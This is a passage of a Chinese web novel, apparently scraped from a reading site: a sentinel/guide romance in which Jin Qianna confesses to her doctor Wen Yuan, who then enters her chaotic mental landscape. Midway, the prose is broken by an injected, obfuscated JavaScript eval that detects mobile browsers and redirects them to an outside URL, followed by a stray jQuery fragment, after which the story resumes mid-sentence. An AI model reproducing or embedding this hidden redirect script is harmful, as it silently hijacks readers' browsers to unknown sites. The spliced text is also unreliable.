舌尖勾着她时,捧在脸颊的手还轻轻揉着她的耳朵。 “她刚刚叫你老婆。”金千娜望着她怀里渐渐失神的人,轻声开了口,“你的病人都这样吗?我是不是也可以呢?嗯?老婆,说话啊老婆。” 温沅被她亲得晕晕乎乎,眼睛都泛起了水光。 听到她的问话,想要开口,又被趁机探进来的舌头堵了回去。 “怎么不说话啊,老婆?”金千娜坏心眼地贴着她的唇瓣,“喜不喜欢我这样叫你,嗯?” 温沅呜呜咽咽地说不喜欢,话到一半却被她吻去了几个字。 “哦,听到了。”金千娜笑眯眯地亲了她的脸颊一下,“你说喜欢啊,老婆好乖……” 乖字只说到一半,温沅就伸手打了她一下。 软绵绵的巴掌落在小狼的脸侧,她却像个没事人,反而握着她的小手,送到嘴边亲了亲。 “怎么这么可爱,别撒娇了,不然,我真的会把你一口吃掉哦。” 20. 第 20 章 喜欢的人就坐在怀里,还一副乖乖任亲的可怜模样。 金千娜没忍住,又亲了亲她被蹭乱的发顶。 细软的发还带着干燥的香,她勾起一缕送到嘴边,尝了尝。 “娜娜。”温沅忽地抬起头,神情里有一丝严肃,“你的精神图景真的没有出问题吗?” 不怪她多想。 毕竟在她的印象里,金千娜就是个不懂事的小女孩。 虽然给她发了奇怪的短信,还三番五次地把她压在被窝里亲吻,但从来没有过今天这样的状态—— 情绪无法控制,需要更多身体的接触,像极了失控期的哨兵。 温沅认真地皱着眉,眼睛又黑又亮,红润的小嘴被亲得发肿,还微微翘着。 金千娜只是看了她一眼,就飞快地把人按到了自己怀里。 “没有问题。”她发狠一般,手却不敢用力地揉着温沅的脑袋,“你这样望着我,我能控制住不亲你才是有问题。” “你又胡说。”温沅被她压在胸口,声音也闷闷的,“没有问题,你怎么会无缘无故就想亲我。” “就没见过你这么迟钝的笨蛋。”金千娜恨铁不成钢地咬住她耳尖,“因为我喜欢你,听到了吗?喜欢你,从见你第一面开始就喜欢你。因为太喜欢你了,每次都会被你可爱到想要把你揉进怀里,想亲你,想看你舒服得脸红,最好嘴里还喊着我的名字。” 喜欢她……吗? 温沅隐隐有过这样的猜测。 只是…… “我想,我没办法就这样接受你的喜欢。”温沅小声地开口,手攥着她的衣领,“我是你第一个医生,你生活在医院的这些时日,身边陪伴的也只有我。你还没有接触过其她人,又怎么会确定,你是喜欢我呢?等你真正有了朋友,融入了社会,你还是这个答案,我再考虑你的喜欢。” “是吗?”金千娜低下头,轻笑道,“如果是息蕴,你也会怀疑她对你的喜欢吗?” “当然。”温沅回答得很快,“她最近失控期频繁,我们又保持着深度的精神联结,她会对我有更多的想法很正常……” “那你呢?”金千娜打断了她,“你也会受到精神联结的影响吗?” 温沅想说不会,脑袋里却浮现出她们在更衣室里的亲密,顿时红了脸。 她的反应太大,后颈都烧得通红一片。 金千娜明白了她的答案,视线冷冷瞥过一旁的息蕴。 “太卑鄙了!” “不过……”温沅突然伸手拽了拽她,“我也想看看你的图景。” 小狼是听话的小狼,大多数时候不会拒绝温沅的要求。 偏偏,今天这个…… 她摇了摇头。 “改天吧。抱你回去睡觉好吗?我就在房间外面守着。” “不要。”温沅坚定地看着她,“我想看。” 她直觉金千娜隐瞒了什么。 不然,刚刚还在眼红息蕴和她精神联结的人,怎么又拒绝了她的要求。 说来她也觉得奇怪。 金千娜在污染区里待了这么多年,换作普通的哨兵,恐怕早就精神崩溃,可她却出乎意料的,污染值还低于常人,究竟是什么原因呢。 金千娜拗不过她,伸手握住了她的,再三道。 “不舒服的话,立刻出来。” 温沅没懂她话里的意思,直到精神触梢探进她的图景。 即使治疗过许多哨兵,像这样混乱无序的图景,她还是第一次见到。 巨大的能量旋涡在涌动,它们不停吸收着污染物,把空间都挤压得扭曲。 极寒过后很快又是酷暑,变化只在短短数秒之间。 黑暗中,还有刺耳的高频声响此起彼伏,给人绝望又疯狂的窒息感。 不像是精神图景,更像是深渊地狱。 怪不得,从两人认识之初,她就没见过灰狼回到精神图景。 温沅释放出不多的精神力,隔出一个小小的空间…… 半晌后,她睁开眼,对上小狼紧张又心虚的眼神。 “你的图景……”温沅开口,又转念道,“我在里面放了一个狼窝。” “嗯?”金千娜有些错愕。 “这里不是污染区,灰灰可以随时回去休息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970009|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温沅看到角落里探出脑袋的灰狼,“我做了个温室,气温恒定还不会有噪音。” “对她那么好。”金千娜偷偷捏着她的手,“我都要吃醋了。” “谁让你一直瞒着我。”温沅抽回自己的手,“我要睡了,不许跟着我。” “我抱你回去。”金千娜也不和她商量,直接把人抱了起来,“可以再亲一口吗?” “不可以。”温沅果断地挡住了她的嘴。 “你是不是慊我了?”金千娜可怜巴巴地垂着眼,“肯定是小沅医生看了我的精神图景,就慊弃我了。” 温沅心软了一瞬,没反应过来,又被过激的小狼压在床上亲了个遍。 知道她消耗了过多的精神力。 金千娜也没舍得再欺负她,唇贴在她耳边说了句“晚安”,便起身走了出去。 温沅攥紧被子,回想这混乱的一整天。 她懊恼地叹了口气,扯着被子往脑袋上一盖。 “我要变坏了。” * 隔天清早,房里的人还在沉睡,门外就响起了铃声。 息蕴离大门近,最先被吵醒。 她揉着脑袋,来不及想自己为什么会出现在温沅的家,便起身去开了门。 门外放着一束鲜嫩的玫瑰,花瓣上还挂着几颗晨露。 在这个生活区域不断缩小的时代,鲜花也格外昂贵。 这是……送给温沅的吧? 她突然有些烦闷,怎么就没想到给小蛇向导送花。 倒是让医院里那位金家大小姐捷足先登了。 她身后,金千娜也好奇地看了过来。 “你买的?” “你怎么会……” 息蕴迟疑了一瞬,正奇怪她怎么也会出现在这里,脑海中却闪过一幕幕昨晚的画面。 没有过多表情的脸霎时红了个透,她身形一僵,努力转开注意。 直到视线落在门口的花,她猛地惊醒过来。 “等等,不是你买的吗?” 两人对视了一眼,意识到了事情的不对。 “还有别人给她送花?”